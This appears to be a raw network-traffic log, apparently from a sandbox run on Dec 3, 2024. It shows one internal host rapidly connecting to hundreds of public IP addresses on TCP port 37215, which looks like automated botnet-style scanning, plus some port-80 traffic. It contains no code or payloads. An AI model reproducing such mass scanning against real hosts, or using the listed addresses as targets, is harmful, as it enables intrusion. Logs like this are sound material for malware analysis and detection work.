Dec 3, 2024 21:47:26.542231083 CET	34043	37215	192.168.2.13	156.244.91.225
Dec 3, 2024 21:47:26.542232990 CET	34043	37215	192.168.2.13	156.168.237.63
Dec 3, 2024 21:47:26.542239904 CET	34043	37215	192.168.2.13	156.23.122.70
Dec 3, 2024 21:47:26.542241096 CET	34043	37215	192.168.2.13	197.5.36.148
Dec 3, 2024 21:47:26.542247057 CET	34043	37215	192.168.2.13	197.151.132.254
Dec 3, 2024 21:47:26.542252064 CET	34043	37215	192.168.2.13	197.241.158.143
Dec 3, 2024 21:47:26.542256117 CET	34043	37215	192.168.2.13	41.71.225.175
Dec 3, 2024 21:47:26.542258024 CET	34043	37215	192.168.2.13	41.196.97.95
Dec 3, 2024 21:47:26.542274952 CET	34043	37215	192.168.2.13	156.135.197.190
Dec 3, 2024 21:47:26.542280912 CET	34043	37215	192.168.2.13	156.137.7.111
Dec 3, 2024 21:47:26.542287111 CET	34043	37215	192.168.2.13	41.118.46.119
Dec 3, 2024 21:47:26.542289019 CET	34043	37215	192.168.2.13	156.211.157.98
Dec 3, 2024 21:47:26.542303085 CET	34043	37215	192.168.2.13	156.190.69.70
Dec 3, 2024 21:47:26.542303085 CET	34043	37215	192.168.2.13	197.13.124.224
Dec 3, 2024 21:47:26.542303085 CET	34043	37215	192.168.2.13	41.123.75.43
Dec 3, 2024 21:47:26.542315960 CET	34043	37215	192.168.2.13	197.238.101.238
Dec 3, 2024 21:47:26.542323112 CET	34043	37215	192.168.2.13	41.113.61.87
Dec 3, 2024 21:47:26.542326927 CET	34043	37215	192.168.2.13	197.102.239.194
Dec 3, 2024 21:47:26.542326927 CET	34043	37215	192.168.2.13	197.46.14.88
Dec 3, 2024 21:47:26.542337894 CET	34043	37215	192.168.2.13	41.134.60.160
Dec 3, 2024 21:47:26.542356968 CET	34043	37215	192.168.2.13	156.250.216.118
Dec 3, 2024 21:47:26.542361975 CET	34043	37215	192.168.2.13	197.147.193.43
Dec 3, 2024 21:47:26.542363882 CET	34043	37215	192.168.2.13	197.96.4.248
Dec 3, 2024 21:47:26.542363882 CET	34043	37215	192.168.2.13	156.63.118.170
Dec 3, 2024 21:47:26.542363882 CET	34043	37215	192.168.2.13	156.162.99.168
Dec 3, 2024 21:47:26.542371988 CET	34043	37215	192.168.2.13	197.98.122.246
Dec 3, 2024 21:47:26.542383909 CET	34043	37215	192.168.2.13	41.113.163.83
Dec 3, 2024 21:47:26.542383909 CET	34043	37215	192.168.2.13	197.81.82.67
Dec 3, 2024 21:47:26.542387962 CET	34043	37215	192.168.2.13	156.55.203.133
Dec 3, 2024 21:47:26.542392969 CET	34043	37215	192.168.2.13	156.68.165.205
Dec 3, 2024 21:47:26.542398930 CET	34043	37215	192.168.2.13	156.129.45.67
Dec 3, 2024 21:47:26.542408943 CET	34043	37215	192.168.2.13	197.124.10.190
Dec 3, 2024 21:47:26.542418003 CET	34043	37215	192.168.2.13	197.92.252.196
Dec 3, 2024 21:47:26.542422056 CET	34043	37215	192.168.2.13	41.115.120.18
Dec 3, 2024 21:47:26.542433023 CET	34043	37215	192.168.2.13	156.56.52.105
Dec 3, 2024 21:47:26.542433023 CET	34043	37215	192.168.2.13	156.91.182.69
Dec 3, 2024 21:47:26.542438030 CET	34043	37215	192.168.2.13	156.32.158.4
Dec 3, 2024 21:47:26.542454004 CET	34043	37215	192.168.2.13	156.35.34.18
Dec 3, 2024 21:47:26.542454004 CET	34043	37215	192.168.2.13	41.160.34.45
Dec 3, 2024 21:47:26.542455912 CET	34043	37215	192.168.2.13	41.45.10.6
Dec 3, 2024 21:47:26.542462111 CET	34043	37215	192.168.2.13	197.160.96.158
Dec 3, 2024 21:47:26.542469978 CET	34043	37215	192.168.2.13	197.235.230.19
Dec 3, 2024 21:47:26.542479992 CET	34043	37215	192.168.2.13	197.157.71.192
Dec 3, 2024 21:47:26.542485952 CET	34043	37215	192.168.2.13	41.164.180.71
Dec 3, 2024 21:47:26.542493105 CET	34043	37215	192.168.2.13	41.41.213.235
Dec 3, 2024 21:47:26.542500973 CET	34043	37215	192.168.2.13	197.75.53.2
Dec 3, 2024 21:47:26.542511940 CET	34043	37215	192.168.2.13	197.216.0.120
Dec 3, 2024 21:47:26.542515039 CET	34043	37215	192.168.2.13	197.172.192.31
Dec 3, 2024 21:47:26.542531967 CET	34043	37215	192.168.2.13	41.250.123.137
Dec 3, 2024 21:47:26.542535067 CET	34043	37215	192.168.2.13	197.90.251.143
Dec 3, 2024 21:47:26.542538881 CET	34043	37215	192.168.2.13	41.232.58.33
Dec 3, 2024 21:47:26.542540073 CET	34043	37215	192.168.2.13	197.67.21.84
Dec 3, 2024 21:47:26.542546988 CET	34043	37215	192.168.2.13	197.88.130.223
Dec 3, 2024 21:47:26.542547941 CET	34043	37215	192.168.2.13	156.150.241.244
Dec 3, 2024 21:47:26.542546988 CET	34043	37215	192.168.2.13	41.166.233.89
Dec 3, 2024 21:47:26.542553902 CET	34043	37215	192.168.2.13	41.230.243.146
Dec 3, 2024 21:47:26.542565107 CET	34043	37215	192.168.2.13	197.49.34.40
Dec 3, 2024 21:47:26.542565107 CET	34043	37215	192.168.2.13	41.250.171.67
Dec 3, 2024 21:47:26.542573929 CET	34043	37215	192.168.2.13	156.109.200.211
Dec 3, 2024 21:47:26.542576075 CET	34043	37215	192.168.2.13	41.188.155.161
Dec 3, 2024 21:47:26.542582035 CET	34043	37215	192.168.2.13	197.86.158.30
Dec 3, 2024 21:47:26.542598963 CET	34043	37215	192.168.2.13	197.57.43.49
Dec 3, 2024 21:47:26.542599916 CET	34043	37215	192.168.2.13	156.192.40.8
Dec 3, 2024 21:47:26.542599916 CET	34043	37215	192.168.2.13	41.165.29.91
Dec 3, 2024 21:47:26.542613983 CET	34043	37215	192.168.2.13	197.66.70.141
Dec 3, 2024 21:47:26.542615891 CET	34043	37215	192.168.2.13	41.179.3.229
Dec 3, 2024 21:47:26.542617083 CET	34043	37215	192.168.2.13	197.144.25.148
Dec 3, 2024 21:47:26.542624950 CET	34043	37215	192.168.2.13	41.118.11.78
Dec 3, 2024 21:47:26.542640924 CET	34043	37215	192.168.2.13	41.214.99.1
Dec 3, 2024 21:47:26.542650938 CET	34043	37215	192.168.2.13	197.54.242.189
Dec 3, 2024 21:47:26.542654037 CET	34043	37215	192.168.2.13	41.22.234.248
Dec 3, 2024 21:47:26.542655945 CET	34043	37215	192.168.2.13	197.79.146.95
Dec 3, 2024 21:47:26.542659044 CET	34043	37215	192.168.2.13	156.52.111.101
Dec 3, 2024 21:47:26.542669058 CET	34043	37215	192.168.2.13	156.96.178.31
Dec 3, 2024 21:47:26.542682886 CET	34043	37215	192.168.2.13	197.13.107.110
Dec 3, 2024 21:47:26.542682886 CET	34043	37215	192.168.2.13	197.61.127.41
Dec 3, 2024 21:47:26.542691946 CET	34043	37215	192.168.2.13	156.169.132.189
Dec 3, 2024 21:47:26.542691946 CET	34043	37215	192.168.2.13	156.218.89.88
Dec 3, 2024 21:47:26.542700052 CET	34043	37215	192.168.2.13	41.21.223.221
Dec 3, 2024 21:47:26.542701960 CET	34043	37215	192.168.2.13	41.174.157.204
Dec 3, 2024 21:47:26.542705059 CET	34043	37215	192.168.2.13	156.175.184.0
Dec 3, 2024 21:47:26.542714119 CET	34043	37215	192.168.2.13	156.54.94.124
Dec 3, 2024 21:47:26.542730093 CET	34043	37215	192.168.2.13	197.141.173.35
Dec 3, 2024 21:47:26.542730093 CET	34043	37215	192.168.2.13	197.78.240.68
Dec 3, 2024 21:47:26.542737007 CET	34043	37215	192.168.2.13	197.86.64.155
Dec 3, 2024 21:47:26.542737007 CET	34043	37215	192.168.2.13	197.181.87.211
Dec 3, 2024 21:47:26.542753935 CET	34043	37215	192.168.2.13	197.37.217.75
Dec 3, 2024 21:47:26.542756081 CET	34043	37215	192.168.2.13	41.41.10.223
Dec 3, 2024 21:47:26.542767048 CET	34043	37215	192.168.2.13	197.149.33.41
Dec 3, 2024 21:47:26.542767048 CET	34043	37215	192.168.2.13	197.250.143.46
Dec 3, 2024 21:47:26.542783022 CET	34043	37215	192.168.2.13	41.196.225.250
Dec 3, 2024 21:47:26.542783022 CET	34043	37215	192.168.2.13	156.120.234.109
Dec 3, 2024 21:47:26.542783022 CET	34043	37215	192.168.2.13	156.199.107.51
Dec 3, 2024 21:47:26.542792082 CET	34043	37215	192.168.2.13	156.157.104.9
Dec 3, 2024 21:47:26.542799950 CET	34043	37215	192.168.2.13	156.28.183.16
Dec 3, 2024 21:47:26.542817116 CET	34043	37215	192.168.2.13	41.120.146.122
Dec 3, 2024 21:47:26.542819977 CET	34043	37215	192.168.2.13	156.4.207.153
Dec 3, 2024 21:47:26.542828083 CET	34043	37215	192.168.2.13	197.83.91.133
Dec 3, 2024 21:47:26.542836905 CET	34043	37215	192.168.2.13	41.127.137.13
Dec 3, 2024 21:47:26.542841911 CET	34043	37215	192.168.2.13	156.11.102.160
Dec 3, 2024 21:47:26.542855024 CET	34043	37215	192.168.2.13	197.84.209.181
Dec 3, 2024 21:47:26.542856932 CET	34043	37215	192.168.2.13	197.109.66.30
Dec 3, 2024 21:47:26.542857885 CET	34043	37215	192.168.2.13	41.148.56.199
Dec 3, 2024 21:47:26.542867899 CET	34043	37215	192.168.2.13	197.164.27.241
Dec 3, 2024 21:47:26.542867899 CET	34043	37215	192.168.2.13	156.24.137.49
Dec 3, 2024 21:47:26.542882919 CET	34043	37215	192.168.2.13	41.185.79.222
Dec 3, 2024 21:47:26.542884111 CET	34043	37215	192.168.2.13	197.90.35.44
Dec 3, 2024 21:47:26.542892933 CET	34043	37215	192.168.2.13	156.227.169.205
Dec 3, 2024 21:47:26.542907000 CET	34043	37215	192.168.2.13	41.161.209.251
Dec 3, 2024 21:47:26.542907000 CET	34043	37215	192.168.2.13	41.1.111.252
Dec 3, 2024 21:47:26.542922020 CET	34043	37215	192.168.2.13	156.126.234.238
Dec 3, 2024 21:47:26.542931080 CET	34043	37215	192.168.2.13	156.5.165.244
Dec 3, 2024 21:47:26.542932034 CET	34043	37215	192.168.2.13	41.95.245.92
Dec 3, 2024 21:47:26.542943001 CET	34043	37215	192.168.2.13	156.123.230.84
Dec 3, 2024 21:47:26.542943954 CET	34043	37215	192.168.2.13	41.79.113.198
Dec 3, 2024 21:47:26.542943954 CET	34043	37215	192.168.2.13	197.250.56.189
Dec 3, 2024 21:47:26.542956114 CET	34043	37215	192.168.2.13	197.198.40.93
Dec 3, 2024 21:47:26.542959929 CET	34043	37215	192.168.2.13	156.155.237.249
Dec 3, 2024 21:47:26.542973042 CET	34043	37215	192.168.2.13	156.135.237.190
Dec 3, 2024 21:47:26.542979002 CET	34043	37215	192.168.2.13	156.240.84.93
Dec 3, 2024 21:47:26.542982101 CET	34043	37215	192.168.2.13	156.81.182.32
Dec 3, 2024 21:47:26.542998075 CET	34043	37215	192.168.2.13	156.29.230.192
Dec 3, 2024 21:47:26.542999029 CET	34043	37215	192.168.2.13	156.113.17.84
Dec 3, 2024 21:47:26.543000937 CET	34043	37215	192.168.2.13	156.144.73.201
Dec 3, 2024 21:47:26.543026924 CET	34043	37215	192.168.2.13	41.55.99.245
Dec 3, 2024 21:47:26.543026924 CET	34043	37215	192.168.2.13	197.199.52.40
Dec 3, 2024 21:47:26.543028116 CET	34043	37215	192.168.2.13	156.123.169.192
Dec 3, 2024 21:47:26.543036938 CET	34043	37215	192.168.2.13	156.3.17.49
Dec 3, 2024 21:47:26.543036938 CET	34043	37215	192.168.2.13	197.201.33.151
Dec 3, 2024 21:47:26.543037891 CET	34043	37215	192.168.2.13	197.120.7.6
Dec 3, 2024 21:47:26.543036938 CET	34043	37215	192.168.2.13	156.104.41.112
Dec 3, 2024 21:47:26.543037891 CET	34043	37215	192.168.2.13	156.212.165.243
Dec 3, 2024 21:47:26.543037891 CET	34043	37215	192.168.2.13	41.122.53.155
Dec 3, 2024 21:47:26.543047905 CET	34043	37215	192.168.2.13	41.39.33.17
Dec 3, 2024 21:47:26.543052912 CET	34043	37215	192.168.2.13	41.246.228.55
Dec 3, 2024 21:47:26.543052912 CET	34043	37215	192.168.2.13	197.252.201.132
Dec 3, 2024 21:47:26.543064117 CET	34043	37215	192.168.2.13	156.105.154.41
Dec 3, 2024 21:47:26.543064117 CET	34043	37215	192.168.2.13	197.86.214.165
Dec 3, 2024 21:47:26.543065071 CET	34043	37215	192.168.2.13	156.208.107.152
Dec 3, 2024 21:47:26.543081045 CET	34043	37215	192.168.2.13	41.65.120.15
Dec 3, 2024 21:47:26.543081045 CET	34043	37215	192.168.2.13	156.216.187.225
Dec 3, 2024 21:47:26.543085098 CET	34043	37215	192.168.2.13	41.216.119.254
Dec 3, 2024 21:47:26.543097973 CET	34043	37215	192.168.2.13	156.149.224.241
Dec 3, 2024 21:47:26.543103933 CET	34043	37215	192.168.2.13	197.92.102.220
Dec 3, 2024 21:47:26.543112993 CET	34043	37215	192.168.2.13	156.117.31.199
Dec 3, 2024 21:47:26.543124914 CET	34043	37215	192.168.2.13	41.231.201.209
Dec 3, 2024 21:47:26.543124914 CET	34043	37215	192.168.2.13	41.138.89.19
Dec 3, 2024 21:47:26.543137074 CET	34043	37215	192.168.2.13	197.185.34.115
Dec 3, 2024 21:47:26.543375015 CET	53000	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:26.543375015 CET	54092	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:26.547782898 CET	80	39419	84.244.151.128	192.168.2.13
Dec 3, 2024 21:47:26.547884941 CET	39419	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.548573017 CET	54130	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:26.572599888 CET	80	54592	62.250.47.221	192.168.2.13
Dec 3, 2024 21:47:26.572690010 CET	37215	36474	41.170.21.145	192.168.2.13
Dec 3, 2024 21:47:26.572707891 CET	54592	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:26.572747946 CET	36474	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:26.572756052 CET	54592	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:26.572772026 CET	36474	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:26.573355913 CET	49534	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.661976099 CET	37215	34043	156.55.59.248	192.168.2.13
Dec 3, 2024 21:47:26.662008047 CET	37215	34043	156.216.205.112	192.168.2.13
Dec 3, 2024 21:47:26.662015915 CET	37215	34043	156.135.136.138	192.168.2.13
Dec 3, 2024 21:47:26.662033081 CET	37215	34043	197.134.166.191	192.168.2.13
Dec 3, 2024 21:47:26.662041903 CET	37215	34043	156.68.78.167	192.168.2.13
Dec 3, 2024 21:47:26.662075043 CET	37215	34043	156.4.15.233	192.168.2.13
Dec 3, 2024 21:47:26.662126064 CET	37215	34043	41.37.81.88	192.168.2.13
Dec 3, 2024 21:47:26.662131071 CET	37215	34043	41.237.246.27	192.168.2.13
Dec 3, 2024 21:47:26.662131071 CET	34043	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.662134886 CET	34043	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.662138939 CET	34043	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.662142038 CET	37215	34043	197.120.164.60	192.168.2.13
Dec 3, 2024 21:47:26.662154913 CET	34043	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.662161112 CET	34043	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.662163973 CET	34043	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.662169933 CET	37215	42222	197.140.239.213	192.168.2.13
Dec 3, 2024 21:47:26.662174940 CET	37215	53458	197.197.99.27	192.168.2.13
Dec 3, 2024 21:47:26.662223101 CET	42222	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:26.662231922 CET	34043	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.662231922 CET	34043	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.662231922 CET	34043	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.662245035 CET	53458	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:26.662436008 CET	37215	59250	41.248.180.24	192.168.2.13
Dec 3, 2024 21:47:26.662442923 CET	37215	52242	156.244.222.255	192.168.2.13
Dec 3, 2024 21:47:26.662460089 CET	37215	39400	197.70.204.94	192.168.2.13
Dec 3, 2024 21:47:26.662553072 CET	37215	49212	156.81.165.124	192.168.2.13
Dec 3, 2024 21:47:26.662558079 CET	37215	51450	197.49.143.54	192.168.2.13
Dec 3, 2024 21:47:26.662581921 CET	37215	35850	197.66.11.86	192.168.2.13
Dec 3, 2024 21:47:26.662589073 CET	37215	51526	156.120.218.74	192.168.2.13
Dec 3, 2024 21:47:26.662606001 CET	37215	38428	197.217.135.4	192.168.2.13
Dec 3, 2024 21:47:26.662611961 CET	37215	54658	41.159.45.219	192.168.2.13
Dec 3, 2024 21:47:26.663235903 CET	37215	51450	197.49.143.54	192.168.2.13
Dec 3, 2024 21:47:26.663240910 CET	37215	51526	156.120.218.74	192.168.2.13
Dec 3, 2024 21:47:26.663284063 CET	51450	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:26.663284063 CET	51526	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:26.663455963 CET	37215	35850	197.66.11.86	192.168.2.13
Dec 3, 2024 21:47:26.663497925 CET	35850	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:26.663784027 CET	37215	54658	41.159.45.219	192.168.2.13
Dec 3, 2024 21:47:26.663832903 CET	54658	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:26.664098978 CET	37215	38428	197.217.135.4	192.168.2.13
Dec 3, 2024 21:47:26.664192915 CET	38428	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:26.664614916 CET	37215	39400	197.70.204.94	192.168.2.13
Dec 3, 2024 21:47:26.664618969 CET	37215	52242	156.244.222.255	192.168.2.13
Dec 3, 2024 21:47:26.664674044 CET	52242	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:26.664675951 CET	39400	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:26.665517092 CET	37215	49212	156.81.165.124	192.168.2.13
Dec 3, 2024 21:47:26.665525913 CET	37215	59250	41.248.180.24	192.168.2.13
Dec 3, 2024 21:47:26.665540934 CET	37215	54092	156.115.33.143	192.168.2.13
Dec 3, 2024 21:47:26.665571928 CET	49212	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:26.665576935 CET	59250	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:26.665607929 CET	37215	53000	41.70.169.235	192.168.2.13
Dec 3, 2024 21:47:26.665625095 CET	54092	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:26.665672064 CET	53000	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:26.668538094 CET	37215	54130	156.2.36.75	192.168.2.13
Dec 3, 2024 21:47:26.668612003 CET	54130	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:26.669218063 CET	50346	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.669763088 CET	38488	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.670242071 CET	37282	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.670773029 CET	40436	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.671297073 CET	51930	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.671924114 CET	58938	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.672413111 CET	60326	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.672926903 CET	46660	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.673389912 CET	54210	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.673752069 CET	54130	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:26.673773050 CET	54130	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:26.673994064 CET	54180	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:26.693170071 CET	80	54592	62.250.47.221	192.168.2.13
Dec 3, 2024 21:47:26.693244934 CET	80	49534	84.244.151.128	192.168.2.13
Dec 3, 2024 21:47:26.693269968 CET	54592	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:26.693324089 CET	49534	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.693514109 CET	49534	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.693514109 CET	49534	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.693584919 CET	37215	36474	41.170.21.145	192.168.2.13
Dec 3, 2024 21:47:26.693650007 CET	36474	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:26.693981886 CET	49556	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.789282084 CET	37215	50346	156.55.59.248	192.168.2.13
Dec 3, 2024 21:47:26.789484024 CET	50346	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.789598942 CET	50346	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.789598942 CET	50346	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.790045023 CET	50368	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.792143106 CET	37215	38488	156.135.136.138	192.168.2.13
Dec 3, 2024 21:47:26.792242050 CET	38488	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.792270899 CET	38488	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.792270899 CET	38488	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.792531967 CET	38510	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.793492079 CET	37215	37282	156.216.205.112	192.168.2.13
Dec 3, 2024 21:47:26.793545008 CET	37282	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.793582916 CET	37282	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.793582916 CET	37282	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.793793917 CET	37215	40436	197.134.166.191	192.168.2.13
Dec 3, 2024 21:47:26.793814898 CET	37215	51930	156.68.78.167	192.168.2.13
Dec 3, 2024 21:47:26.793821096 CET	37215	58938	156.4.15.233	192.168.2.13
Dec 3, 2024 21:47:26.793831110 CET	37304	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.793854952 CET	40436	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.793894053 CET	58938	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.793895960 CET	51930	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.794127941 CET	37215	60326	41.237.246.27	192.168.2.13
Dec 3, 2024 21:47:26.794176102 CET	60326	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.794188976 CET	40436	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.794188976 CET	40436	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.794414043 CET	40458	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.794445992 CET	37215	46660	41.37.81.88	192.168.2.13
Dec 3, 2024 21:47:26.794493914 CET	46660	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.794687986 CET	51930	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.794687986 CET	51930	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.794794083 CET	37215	54210	197.120.164.60	192.168.2.13
Dec 3, 2024 21:47:26.794904947 CET	51952	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.794926882 CET	54210	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.795181036 CET	58938	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.795181990 CET	58938	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.795284033 CET	37215	54130	156.2.36.75	192.168.2.13
Dec 3, 2024 21:47:26.795413971 CET	58960	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.795442104 CET	37215	54180	156.2.36.75	192.168.2.13
Dec 3, 2024 21:47:26.795485020 CET	54180	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:26.795716047 CET	54180	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:26.795744896 CET	60326	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.795744896 CET	60326	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.795963049 CET	60348	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.796247005 CET	46660	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.796247005 CET	46660	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.796471119 CET	46682	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.796760082 CET	54210	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.796760082 CET	54210	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.796972036 CET	54232	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.815036058 CET	80	49534	84.244.151.128	192.168.2.13
Dec 3, 2024 21:47:26.815474033 CET	80	49556	84.244.151.128	192.168.2.13
Dec 3, 2024 21:47:26.815551043 CET	49556	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.815613031 CET	49556	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.837044001 CET	37215	54130	156.2.36.75	192.168.2.13
Dec 3, 2024 21:47:26.854454041 CET	80	49534	84.244.151.128	192.168.2.13
Dec 3, 2024 21:47:26.909523964 CET	37215	50346	156.55.59.248	192.168.2.13
Dec 3, 2024 21:47:26.909971952 CET	37215	50368	156.55.59.248	192.168.2.13
Dec 3, 2024 21:47:26.910079002 CET	50368	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.910126925 CET	50368	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:26.912151098 CET	37215	38488	156.135.136.138	192.168.2.13
Dec 3, 2024 21:47:26.912377119 CET	37215	38510	156.135.136.138	192.168.2.13
Dec 3, 2024 21:47:26.912455082 CET	38510	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.912455082 CET	38510	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:26.913431883 CET	37215	37282	156.216.205.112	192.168.2.13
Dec 3, 2024 21:47:26.913821936 CET	37215	37304	156.216.205.112	192.168.2.13
Dec 3, 2024 21:47:26.913875103 CET	37304	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.913875103 CET	37304	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:26.914045095 CET	37215	40436	197.134.166.191	192.168.2.13
Dec 3, 2024 21:47:26.914326906 CET	37215	40458	197.134.166.191	192.168.2.13
Dec 3, 2024 21:47:26.914412022 CET	40458	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.914412022 CET	40458	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:26.914618969 CET	37215	51930	156.68.78.167	192.168.2.13
Dec 3, 2024 21:47:26.914824963 CET	37215	51952	156.68.78.167	192.168.2.13
Dec 3, 2024 21:47:26.914880037 CET	51952	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.914880037 CET	51952	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:26.915081978 CET	37215	58938	156.4.15.233	192.168.2.13
Dec 3, 2024 21:47:26.915283918 CET	37215	58960	156.4.15.233	192.168.2.13
Dec 3, 2024 21:47:26.915327072 CET	58960	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.915338039 CET	58960	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:26.915638924 CET	37215	60326	41.237.246.27	192.168.2.13
Dec 3, 2024 21:47:26.915734053 CET	37215	54180	156.2.36.75	192.168.2.13
Dec 3, 2024 21:47:26.915750980 CET	37215	60348	41.237.246.27	192.168.2.13
Dec 3, 2024 21:47:26.915781975 CET	54180	37215	192.168.2.13	156.2.36.75
Dec 3, 2024 21:47:26.915795088 CET	60348	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.915827036 CET	60348	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:26.916156054 CET	37215	46660	41.37.81.88	192.168.2.13
Dec 3, 2024 21:47:26.916363001 CET	37215	46682	41.37.81.88	192.168.2.13
Dec 3, 2024 21:47:26.916412115 CET	46682	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.916426897 CET	46682	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:26.916618109 CET	37215	54210	197.120.164.60	192.168.2.13
Dec 3, 2024 21:47:26.916791916 CET	37215	54232	197.120.164.60	192.168.2.13
Dec 3, 2024 21:47:26.916841030 CET	54232	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.916851044 CET	54232	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:26.935800076 CET	80	49556	84.244.151.128	192.168.2.13
Dec 3, 2024 21:47:26.935898066 CET	49556	80	192.168.2.13	84.244.151.128
Dec 3, 2024 21:47:26.950483084 CET	37215	50346	156.55.59.248	192.168.2.13
Dec 3, 2024 21:47:26.954546928 CET	37215	40436	197.134.166.191	192.168.2.13
